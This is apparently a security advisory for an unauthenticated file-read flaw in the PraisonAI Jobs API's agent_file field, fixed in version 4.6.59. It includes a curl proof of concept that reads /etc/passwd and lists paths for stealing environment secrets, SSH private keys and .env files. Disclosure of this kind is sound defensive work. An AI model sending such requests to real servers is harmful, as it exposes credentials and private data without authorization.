PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API

Overview

Summary

An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the agent_file field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.

Details

The agent_file field in JobSubmitRequest accepts any filesystem path with no validation:

# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist

The executor reads the file directly:

# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))

Proof of Concept

curl -X POST http://:8005/api/v1/runs \
  -H "Content-Type: application/json" \
  -d '{"prompt": "run", "agent_file": "/etc/passwd"}'

Server responds with contents of /etc/passwd.

Other exploitable paths:

• /proc/1/environ — environment variables, API keys
• /home//.ssh/id_rsa — SSH private keys
• /app/.env — application secrets

Impact

Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.

Affected packages

• praisonai < 4.6.59

Remediation

Upgrade to a patched release:

• praisonai 4.6.59